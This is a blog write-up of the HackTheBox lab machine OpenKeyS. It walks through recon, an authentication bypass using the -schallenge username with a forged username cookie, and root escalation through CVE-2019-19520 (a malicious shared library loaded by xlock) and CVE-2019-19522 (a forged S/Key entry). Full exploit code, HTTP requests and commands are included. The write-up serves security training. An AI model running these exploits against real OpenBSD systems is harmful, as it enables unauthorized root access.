HTB: OpenKeyS

Posted on 14 Dec 2020 in security • 4 min read

openkeys card

This is a writeup about a retired HacktheBox machine: OpenKeys published on July 25 2020 by polarbearer and GibParadox This box is classified as a medium machine. This box implies an openBSD box with a check_auth exploit.

User

Recon

We start with an nmap scan. Only port 22 (SSH) and port 80 (HTTP) are open.

# Nmap 7.80 scan initiated Sat Aug 01 01:44:44 2020 as: nmap -p- -sSV -oN nmap 10.10.10.199
Nmap scan report for 10.10.10.199
Host is up (0.078s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
80/tcp open  http    OpenBSD httpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 01 01:47:51 2020 -- 1 IP address (1 host up) scanned in 786.94 seconds

Web

The website is authentication form. As the page title indicate, we could probably get SSH key if we can access an user account.

home page

We run dirb against the website. It found a few folders.

kali@kali:~$ dirb http://10.10.10.199

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Aug 02 01:53:56 2020
URL_BASE: http://10.10.10.199/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.199/ ----
==> DIRECTORY: http://10.10.10.199/css/
==> DIRECTORY: http://10.10.10.199/fonts/
==> DIRECTORY: http://10.10.10.199/images/
==> DIRECTORY: http://10.10.10.199/includes/
+ http://10.10.10.199/index.html (CODE:200|SIZE:96)
+ http://10.10.10.199/index.php (CODE:200|SIZE:4837)
==> DIRECTORY: http://10.10.10.199/js/
==> DIRECTORY: http://10.10.10.199/vendor/

---- Entering directory: http://10.10.10.199/css/ ----

---- Entering directory: http://10.10.10.199/fonts/ ----

We browse the founded directories as the directory listing is activated. We found something interesting in the includes directory.

includes folder

We take a look at the swap file and found a username "jennifer". We also notice a system call to check_auth.

b0VIM 8.1�-�^���jenniferopenkeys.htb/var/www/htdocs/includes/auth.php 3210#"! Utp=ad� � =����sWB@?" �������mgC� � � { a W J @ �������vpnmUS0���J� � � � � � � � � � � ?>} session_start(); session_destroy(); session_unset();{function close_session()} $_SESSION["username"] = $_REQUEST['username']; $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT']; $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR']; $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME']; $_SESSION["login_time"] = $_SERVER['REQUEST_TIME']; $_SESSION["logged_in"] = True;{function init_session()} } return False; { else } } return True; $_SESSION['last_activity'] = $time; // Session is active, update last activity time and return True { else } return False; close_session(); { ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity']) && $time = $_SERVER['REQUEST_TIME']; // Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start(); // Start the session $session_timeout = 300; // Session timeout in seconds{function is_active_session()} return $retcode; system($cmd, $retcode); $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);{function authenticate($username, $password)

A few Google research ("OpenBsd check_auth exploit") lead us to two blog articles presenting four 2019 CVE allowing to bypass authentication and escalate privileges on openbsd:

CVE-2019-1952

We use the CVE-2019-19521 to bypass the authentication using the username -schallenge. But the application tell us that there is no key found for the user -schallenge. We want to authenticate as jennifer.

OpenSSH key not found for user -schallenge

We fire up Burp and add a username=jennifier cookie to our authentication request.

POST /index.php HTTP/1.1
Host: 10.10.10.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.199/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Cookie: PHPSESSID=5j485ne4sih5h7dl0fk2f2e8g7;username=jennifer
Upgrade-Insecure-Requests: 1

username=-schallenge&password=q

We also add the cookie to the next request to sshkey.php

GET /sshkey.php HTTP/1.1
Host: 10.10.10.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.199/index.php
Connection: close
Cookie: PHPSESSID=jma32i3d8r5ob3lmo3hbgi741a;username=jennifer
Upgrade-Insecure-Requests: 1

The application directly give us Jennifer's SSH private key.

We can connect to the box using this key and get the user flag.

kali@kali:~$ ssh jennifer@10.10.10.199 -i id_rsa
<snip>
openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10

Root

The articles used to bypass the authentication give us a few leads about the privilege escalation.

openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)

We will use CVE-2019-19520 to gain access to the group auth and then use CVE-2019-19522 to get root

CVE-2019-19520

First we create a temporary folder /tmp/.plop and create the file swrast_dri.c with the following content:

#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}

We then compile it and run the command to get access to the auth group. As the author of the box implemented so cleanup script the commands needs to be run "quickly":

openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

Personal note: The two command need to be "quickly run"

openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 42553
openkeys$ _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)

As we are now in the auth group we can use the CVE-2019-19522.

CVE-2019-19522

We just put the command as specified in the article and get the root flag (the Password is not printed so I put it between bracket).

openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: [EGG LARD GROW HOG DRAG LAIN]
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat /root/root.txt
f3a553b1697050ae885e7c02dbfc6efa

Wrapping up

This box was quit easy once the qualys article was found. I was hoping for more specific OpenBSD content. Nevertheless this was a fun box to root. I will probably recommend this box to beginners.

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